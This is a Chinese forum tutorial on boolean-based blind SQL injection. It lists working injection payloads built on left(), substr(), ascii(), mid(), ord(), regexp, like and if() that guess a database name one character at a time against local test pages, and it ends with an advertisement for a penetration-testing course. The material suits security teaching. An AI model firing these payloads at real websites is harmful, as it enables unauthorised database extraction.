(七)SQL注入-盲注

[复制链接]
发表于 2025-11-12 22:58:22 | 显示全部楼层 |阅读模式
Blind SQL injection


何为盲注?


    盲注就是在sql注入过程中,sql语句执行select之后,可能由于网站代码的限制或者apache等解析器配置了不回显数据,造成在select数据之后不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个判断的过程称之为盲注。



盲注分类:


•基于布尔SQL盲注
•基于时间的SQL盲注


Boolean-based blind SQL injection


利用前提:
        页面上没有显示位,也没有输出SQL语句执行错误信息。
        只能通过页面返回正常不正常来注入

优点:
        不需要显示位,不需要出错信息。
缺点:
        速度慢,耗费大量时间。


判断页面正确与错误返回情况


基于boolean的盲注主要表现症状:


1、没有报错信息
2、不管是正确的输入,还是错误的输入,都只显示两种情况 (我们可以认为是0或者1)
3、在正确的输入下,输入and 1=1/and 1=2看返回发现可以判断(只会有真假,没有报错)

截图202511121446266754.png


Boolean-based blind SQL injection

使用布尔型盲注提取数据的基本步骤:
截图202511121447206964.png



示例:
http://localhost/sqleasy/news.php?newsid=11 and substr((select database()),1,1)='s'

截图202511121447393078.png


    在sql注入中,往往会用到截取字符串的问题,尤其是在不回显数据的盲注情况下,往往需要一个一个字符的去猜解,过程中需要用到截取字符串。


常用的截取字符串payload如下:

截图202511121448051276.png



left()函数:得到字符串左部指定个数的字符
语法:
left (string,n)  string为要截取的字符串,n为长度。
举例:


? name=lucy' and left(database(),1)='p'--+
? name=lucy' and left(database(),2)='pi'--+


当数据库名第一个字母='p'时,页面不变,可以得到第一个数据库第一个字符为'p'。

当数据库名前两个字母='pi'时,页面不变,可以得到数据库名前两个字母为'pi'。

截图202511121449358665.png



Boolean-based blind SQL injection--substr()


substr()函数:截取指定长度的字符串。
语法:
string substr(string, start, length) 第一个参数为要处理的字符串,start为开始位置,length为截取的长度
举例:

  1. ?name=lucy' and substr(database(),1,1)='p' --+
  2. ?name=lucy' and substr(database(),2,1)='i' --+
复制代码

截图202511121451189476.png


当数据库名第二个字母='i'时,页面不变,可以得到数据库名前两个字母为'pi'。

截图202511121451374441.png



substr()函数:截取指定长度的字符串。
语法:
ascii(substr(string, start, 1))=num string参数为要处理的字符串,start为开始位置,num为ascii码长度
举例:

  1. ?name=lucy' and ascii(substr(database(),1,1))=112 --+
  2. ?name=lucy' and ascii(substr(database(),2,1))=105 --+
复制代码

截图202511121452161124.png


当数据库名第二个字母ascii码为105时,页面不变,可以得到数据库名前两个字母为'pi'。

截图202511121452332206.png


Boolean-based blind SQL injection--mid()


mid()函数:截取指定长度的字符串。
语法:
mid(string, start[, length]) column_name为要提取字符的字段,start为开始截取位置(起始值是1),length为截取的长度(可选,默认余下所有字符)
举例:

  1. ?name=lucy' and mid(database(),1,1)='p' --+
  2. ?name=lucy' and mid(database(),2,1)='i' --+
复制代码

截图202511121453089555.png


当数据库名第二个字母='i'时,页面不变,可以得到数据库名前两个字母为'pi'。

截图202511121453275830.png


mid()函数:截取字符串指定长度的字符串
语法:
ord(MID(column_name,start,1))=num
column_name为要提取字符的字段,start为开始截取位置(起始值是1),num为ascii码
举例:

  1. ?name=lucy' and ord(substr(database(),1,1))=112 --+
  2. ?name=lucy' and ord(substr(database(),2,1))=105 --+
复制代码

截图202511121455187247.png


当数据库名第二个字母ascii码为105时,页面不变,可以得到数据库名前两个字母为'pi'。

截图202511121455333210.png



Boolean-based blind SQL injection--regexp


regexp :正则表达式
语法:   regexp ^[a-z] 表示字符串中第一个字符是在 a-z范围内。
        regexp ^a 表示字符串第一个字符是a。
        regexp ^ab 表示字符串前两个字符是ab。
举例:

  1. ?name=lucy' and database() regexp '^p' --+
  2. ?name=lucy' and database() regexp '^pi' --+
复制代码

截图202511121456093311.png


当数据库名第一二个字母为pi时,匹配正则表达式,返回true。可以得到第一二个数据库第一个字符为pi。

截图202511121456255199.png


Boolean-based blind SQL injection--like搜索


like:与正则表达式类似
语法:        Like 'a%'表示字符串第一个字符是a。
        Like 'ab%'表示字符串前两个字符是ab。
举例:

  1. ?name=lucy' and database() like 'p%' --+
  2. ?name=lucy' and database() like 'pi%' --+
复制代码

截图202511121457269239.png


当数据库名第一个字母为pi时,like匹配正确,返回true。可以得到第一个数据库前两个字符为'pi'。

截图202511121457406515.png


Boolean-based blind SQL injection--if()


if()函数:
        判断函数,并根据判断结果返回特定值。
语法:
        if(判断条件,正确返回的值,错误返回的值)
举例:
        if()函数可以和前面提到的函数结合使用


?id=1' and 1=if(前面提到的注入语句,1,0) --+


?id=1' and 1=if(left(database(),1)='d',1,0) --+
?id=1' and 1=if(substr(database(),1,1)='d',1,0) --+
?id=1' and 1=if(ascii(substr(database(),1,1))=100,1,0) --+
?id=1' and 1=if(MID(DATABASE(),1,1)='d',1,0) --+
?id=1' and 1=if(ord(MID(DATABASE(),1,1))=100,1,0) --+
?id=1' and 1=if(database() regexp '^d',1,0) --+
?id=1' and 1=if(database() like 'd%',1,0) --+






截图202511121454134568.png
截图202511121454353094.png
必火网络安全培训,北京实地培训,月月有开班,零基础入门,四个月打造渗透高手。
详情请加微信:nvhack/153-2000-4362,手机微信同号。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|小黑屋|女黑客安全网 |网站地图 | 津ICP备17008032号-3

GMT+8, 2026-2-2 05:19 , Processed in 0.085109 second(s), 27 queries .

Powered by Discuz! X3.5

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表